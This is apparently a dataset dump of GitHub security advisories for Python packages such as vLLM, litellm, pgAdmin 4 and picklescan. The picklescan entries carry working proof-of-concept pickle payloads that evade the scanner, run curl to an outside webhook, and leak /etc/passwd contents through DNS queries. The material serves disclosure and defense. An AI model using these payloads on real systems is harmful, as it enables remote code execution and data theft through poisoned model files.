deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-hf3c-wxg2-49q9
Package: vllm (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling, CWE-1395: Dependency on Vulnerable Third-Party Component
Vulnerable versions: >= 0.6.5, < 0.8.4
Patched in: 0.8.4

Summary: vLLM vulnerable to Denial of Service by abusing xgrammar cache

Details:
### Impact

This report is to highlight a vulnerability in XGrammar, a library used by the structured output feature in vLLM. The XGrammar advisory is here: https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-389x-67px-mjg3

The [xgrammar](https://xgrammar.mlc.ai/docs/) library is the default backend used by vLLM to support structured output (a.k.a. guided decoding). Xgrammar provides a required, built-in cache for its compiled grammars stored in RAM. xgrammar is available by default through the OpenAI compatible API server with both the V0 and V1 engines.

A malicious user can send a stream of very short decoding requests with unique schemas, resulting in an addition to the cache for each request. This can result in a Denial of Service by consuming all of the system's RAM.

Note that even if vLLM was configured to use a different backend by default, it is still possible to choose xgrammar on a per-request basis using the `guided_decoding_backend` key of the `extra_body` field of the request with the V0 engine. This per-request choice is not available when using the V1 engine. 
### Patches

* https://github.com/vllm-project/vllm/pull/16283

### Workarounds

There is no way to workaround this issue in existing versions of vLLM other than preventing untrusted access to the OpenAI compatible API server.

### References

* https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-389x-67px-mjg3
GitHub Security Advisory: GHSA-m67m-3p5g-cw9j
Package: weblate (PIP)
Severity: LOW (CVSS 2.2)
CWE: CWE-598: Use of GET Request Method With Sensitive Query Strings
Vulnerable versions: < 5.11
Patched in: 5.11

Summary: VCS credentials included in URL parameters are potentially logged and saved into browser history as plaintext

Details:
### Summary

When creating a new component from an existing component that has a source code repository URL specified in settings, this URL is included in the client's URL parameters during the creation process. If, for example, the source code repository URL contains GitHub credentials, the confidential PAT and username are shown in plaintext and get saved into browser history. Moreover, if the request URL is logged, the credentials are written to the logs in plaintext.

The problematic URL in question is of this form:

```
https://<HOST>/create/component/vcs/?repo=https%3A%2F%2F<GITHUB USERNAME>%3A<GITHUB PAT>%40github.com%2F<REPOSITORY OWNER>%2F<REPOSITORY NAME>.git&project=1&category=&name=<REDACTED>&slug=<REDACTED>&is_glossary=False&vcs=github&source_language=228&license=&source_component=1#existing
```

If using Weblate official Docker image, nginx logs the URL and the token in plaintext:

```
nginx stdout | 127.0.0.1 - - [04/Apr/2025:10:46:54 +0000] "GET /create/component/vcs/?repo=https%3A%2F%2F<GITHUB USERNAME>%3A<GITHUB PAT>%40github.com%2F<REPOSITORY OWNER>%2F<REPOSITORY NAME>.git&project=1&category=&name=<REDACTED>&slug=<REDACTED>&is_glossary=False&vcs=github&source_language=228&license=&source_component=1 HTTP/1.1" 200 17625 "<REDACTED>" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0"
```

### Reproduction

1. In a project, create a component which has the _Repository push URL_ setting configured with, for example, a GitHub repository URL including a username and a PAT.
2. In the same project, create another component using the _From existing component_ option and selecting the previous component as the source. Click _Continue_.
3. Observe that the URL parameter `repo` includes the secret PAT configured in the original components settings. The URL with the token is potentially saved as plaintext in browser history and server logs.
4. Select a translation file to import and click _Continue_.
5. Observe again the same `repo` parameter in the URL.

### Impact

- If server logs are compromised, the attacker may be able to gain access to private repositories potentially containing sensitive source code.
- Under common browser settings, the URL containing VCS credentials is saved into browser history. Browser extensions, for example, are often able to read the history and thus offer a realistic attack vector to gain access to the credentials.
GitHub Security Advisory: GHSA-qpwc-p365-pqrr
Package: neutron (PIP)
Severity: HIGH (CVSS 8.2)
CWE: CWE-923: Improper Restriction of Communication Channel to Intended Endpoints
Vulnerable versions: >= 8.0.0, < 8.1.1
Patched in: 8.1.1

Summary: OpenStack Neutron allows remote attackers to bypass an intended DHCP-spoofing protection mechanism

Details:
The IPTables firewall in OpenStack Neutron before 7.0.4 and 8.0.0 through 8.1.0 allows remote attackers to bypass an intended DHCP-spoofing protection mechanism and consequently cause a denial of service or intercept network traffic via a crafted DHCP discovery message.
GitHub Security Advisory: GHSA-qpwc-p365-pqrr
Package: neutron (PIP)
Severity: HIGH (CVSS 8.2)
CWE: CWE-923: Improper Restriction of Communication Channel to Intended Endpoints
Vulnerable versions: < 7.0.5
Patched in: 7.0.5

Summary: OpenStack Neutron allows remote attackers to bypass an intended DHCP-spoofing protection mechanism

Details:
The IPTables firewall in OpenStack Neutron before 7.0.4 and 8.0.0 through 8.1.0 allows remote attackers to bypass an intended DHCP-spoofing protection mechanism and consequently cause a denial of service or intercept network traffic via a crafted DHCP discovery message.
GitHub Security Advisory: GHSA-3vj4-cvjp-482h
Package: neutron (PIP)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-923: Improper Restriction of Communication Channel to Intended Endpoints
Vulnerable versions: >= 8.0.0, < 8.1.1
Patched in: 8.1.1

Summary: OpenStack Neutron allows remote attackers to bypass an intended ICMPv6-spoofing protection mechanism

Details:
The IPTables firewall in OpenStack Neutron before 7.0.4 and 8.0.0 through 8.1.0 allows remote attackers to bypass an intended ICMPv6-spoofing protection mechanism and consequently cause a denial of service or intercept network traffic via a link-local source address.
GitHub Security Advisory: GHSA-3vj4-cvjp-482h
Package: neutron (PIP)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-923: Improper Restriction of Communication Channel to Intended Endpoints
Vulnerable versions: < 7.0.5
Patched in: 7.0.5

Summary: OpenStack Neutron allows remote attackers to bypass an intended ICMPv6-spoofing protection mechanism

Details:
The IPTables firewall in OpenStack Neutron before 7.0.4 and 8.0.0 through 8.1.0 allows remote attackers to bypass an intended ICMPv6-spoofing protection mechanism and consequently cause a denial of service or intercept network traffic via a link-local source address.
GitHub Security Advisory: GHSA-vrq4-9hc3-cgp7
Package: jupyter-remote-desktop-proxy (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-668: Exposure of Resource to Wrong Sphere
Vulnerable versions: = 3.0.0
Patched in: 3.0.1

Summary: TigerVNC accessible via the network and not just via a UNIX socket as intended

Details:
## Summary

`jupyter-remote-desktop-proxy` was meant to rely on UNIX sockets readable only by the current user since version 3.0.0, but when used with TigerVNC, the VNC server started by `jupyter-remote-desktop-proxy` were still accessible via the network.

This vulnerability does not affect users having TurboVNC as the `vncserver` executable.

## Credits

This vulnerability was identified by Arne Gottwald at University of Göttingen and analyzed, reported, and reviewed by @frejanordsiek.
GitHub Security Advisory: GHSA-m674-hmx2-ffhq
Package: nova (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 12.0.0a0
Patched in: 12.0.0a0

Summary: OpenStack Compute (Nova) does not verify the virtual size of a QCOW2 image

Details:
OpenStack Compute (Nova) Folsom, Grizzly, and Havana does not verify the virtual size of a QCOW2 image, which allows local users to cause a denial of service (host file system disk consumption) by creating an image with a large virtual size that does not contain a large amount of data.
GitHub Security Advisory: GHSA-cc8j-6phr-jv9x
Package: mobsf (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-276: Incorrect Default Permissions
Vulnerable versions: < 3.9.7
Patched in: 3.9.7

Summary: Withdrawn Advisory: Mobile Security Framework (MobSF) Vulnerable to Insecure Permissions

Details:
## Withdrawn Advisory
This advisory has been withdrawn because the vendor's position is that authentication is intentionally not implemented because the product is not intended for an untrusted network environment. Use cases requiring authentication could, for example, use a reverse proxy server.

## Original Description
Mobile Security Framework (MobSF) <=v3.7.8 Beta is vulnerable to Insecure Permissions.
GitHub Security Advisory: GHSA-2p9h-ccw7-33gf
Package: cleo (PIP)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: < 2.0.0
Patched in: 2.0.0

Summary: cleo is vulnerable to Regular Expression Denial of Service (ReDoS)

Details:
An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the cleo PyPI package, when an attacker is able to supply arbitrary input to the Table.set_rows method.
GitHub Security Advisory: GHSA-389x-67px-mjg3
Package: xgrammar (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 0.1.18
Patched in: 0.1.18

Summary: xgrammar Vulnerable to Denial of Service (DoS) by abusing unbounded cache in memory

Details:
### Summary

Xgrammar includes a cache for compiled grammars to increase performance with repeated use of the same grammar. This cache is held in memory. Since the cache is unbounded, a system making use of xgrammar can be abused to fill up a host's memory and case a denial of service. For example, sending many small requests to an LLM inference server with unique JSON schemas would eventually cause this denial of service to occur.

### Details

The fix is to add a limit to the cache size. This was done in https://github.com/mlc-ai/xgrammar/pull/243

An example of making use of the new cache size limit can be found in vLLM here: https://github.com/vllm-project/vllm/pull/16283

### Impact

Any system making use of Xgrammar and taking requests as input from potentially untrusted parties would be vulnerable to this denial of service issue.
GitHub Security Advisory: GHSA-fh2c-86xm-pm2x
Package: litellm (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 1.56.2
Patched in: 1.56.2

Summary: LiteLLM Vulnerable to Denial of Service (DoS) via Crafted HTTP Request

Details:
A Denial of Service (DoS) vulnerability exists in berriai/litellm version v1.44.5. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.
GitHub Security Advisory: GHSA-c995-4fw3-j39m
Package: langflow (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 1.3.0
Patched in: 1.3.0

Summary: Duplicate Advisory: Langflow Vulnerable to Code Injection via the `/api/v1/validate/code` endpoint

Details:
### Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rvqx-wpfh-mfx7. This link is maintained to preserve external references.

### Original Description

Langflow versions prior to 1.3.0 are susceptible to code injection in the `/api/v1/validate/code` endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
GitHub Security Advisory: GHSA-5r62-mjf5-xwhj
Package: apache-airflow-providers-common-sql (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 1.24.1
Patched in: 1.24.1

Summary: Apache Airflow Common SQL Provider Vulnerable to SQL Injection

Details:
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Apache Airflow Common SQL Provider.

When using the partition clause in SQLTableCheckOperator as parameter (which was a recommended pattern), Authenticated UI User could inject arbitrary SQL command when triggering DAG exposing partition_clause to the user.
This allowed the DAG Triggering user to escalate privileges to execute those arbitrary commands which they normally would not have.


This issue affects Apache Airflow Common SQL Provider: before 1.24.1.

Users are recommended to upgrade to version 1.24.1, which fixes the issue.
GitHub Security Advisory: GHSA-v7x6-rv5q-mhwc
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: < 0.0.25
Patched in: 0.0.25

Summary: Picklescan missing detection when calling built-in python library function timeit.timeit()

Details:
### Summary
Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.

### Details
Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method
Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC
1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
```
import pickle
import timeit
class Payload(object):
    def __reduce__(self):
        return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)
create_payload()
```
Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()
2. The victim will use picklescan library to check out if the received pickle file is malicious or not
```
picklescan -p payload.pickle
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
```
3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
```
import pickle
def load_payload():
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)
load_payload()
```
### Impact
Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Recommended Solution
I suggest adding timeit library to the unsafe globals blacklist.
GitHub Security Advisory: GHSA-fj43-3qmq-673f
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.25
Patched in: 0.0.25

Summary: Picklescan failed to detect to some unsafe global function in Numpy library

Details:
### Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.
### Details
Pickle’s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:
- First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils**
- Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
- Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC
```
import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
  def __reduce__(self):
    from numpy.testing._private.utils import runstring
    return runstring, ("import os; os.system('curl https://example.com')",{})
    
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)

def load_payload():
  result = scan_file_path('payload.pickle')
  if result.infected_files != 0 or result.scan_err:
    print('File is infected')
  else:
    print('File is clean')
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)

create_payload() 
load_payload()

```

### Impact
Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI)
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Recommended Fixes:

I suggest adding Numpy library to the unsafe globals blacklist.
GitHub Security Advisory: GHSA-93mv-x874-956g
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: < 0.0.25
Patched in: 0.0.25

Summary: Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate

Details:
### Summary

Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.


### Details

picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.

The payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.

The payload executes the following steps:

- Reads sensitive local file content using `linecache` module
- Encodes the data for DNS exfiltration
- Constructs a malicious domain name using a third party service `dnslog.cn` 
- Triggers a DNS resolution via `ssl.get_server_certificate`
- Leaks the encoded file content to the attacker

### PoC

Before running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f"{subdomain}.ctmc2q.dnslog.cn"`.

```python

import numpy as np

def create_malicious_model():
# Define the payload class
    class DNSLogPayload:
        def __reduce__(self):
            # Step 1: read a line from /etc/passwd
            linecache = __import__("linecache")
            first_line = linecache.getline("/etc/passwd", 1).strip()

            # Step 2: Sanitize and embed it as a DNS subdomain
            subdomain = first_line.replace(":", "_").replace("/", "_")
            fqdn = f"{subdomain}.dns-logger.invalid"

            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution
            ssl_mod = __import__("ssl")
            return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))

    # Wrap the payload in a NumPy object array
    arr = np.array([DNSLogPayload()], dtype=object)

    # Save to .npy file
    np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)   

def load_model(model):
    try:
        return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
    except Exception:
        raise ValueError("Invalid file")

if __name__ == "__main__":
    create_malicious_model()
    model = "dnslog_trigger_payload.npy"
    print("[i] Loading and executing the model")
    data = load_model(model)
 
```

### Impact

1. Evade detection: Bypasses the latest version of picklescan's blacklist. 
2. Exfiltrate sensitive local files to an attacker controlled DNS
GitHub Security Advisory: GHSA-7vc5-mjwp-c8fq
Package: lmdeploy (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-20: Improper Input Validation, CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 0.7.1
Patched in: unpatched

Summary: LMDeploy Improper Input Validation Vulnerability

Details:
A vulnerability was found in InternLM LMDeploy up to 0.7.1. It has been classified as critical. Affected is the function load_weight_ckpt of the file lmdeploy/lmdeploy/vl/model/utils.py of the component PT File Handler. The manipulation leads to deserialization. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.
GitHub Security Advisory: GHSA-2rrx-pphc-qfv9
Package: pgadmin4 (PIP)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 9.2
Patched in: 9.2

Summary: pgAdmin 4 Vulnerable to Cross-Site Scripting (XSS) via Query Result Rendering

Details:
pgAdmin <= 9.1 is affected by a security vulnerability with Cross-Site Scripting(XSS). If attackers execute any arbitrary HTML/JavaScript in a user's browser through query result rendering, then HTML/JavaScript runs on the browser.
GitHub Security Advisory: GHSA-g73c-fw68-pwx3
Package: pgadmin4 (PIP)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 9.2
Patched in: 9.2

Summary: pgAdmin 4 Vulnerable to Remote Code Execution

Details:
Remote Code Execution security vulnerability in pgAdmin 4  (Query Tool and Cloud Deployment modules).

The vulnerability is associated with the 2 POST endpoints; /sqleditor/query_tool/download, where the query_commited parameter and /cloud/deploy endpoint, where the high_availability parameter is unsafely passed to the Python eval() function, allowing arbitrary code execution.


This issue affects pgAdmin 4: before 9.2.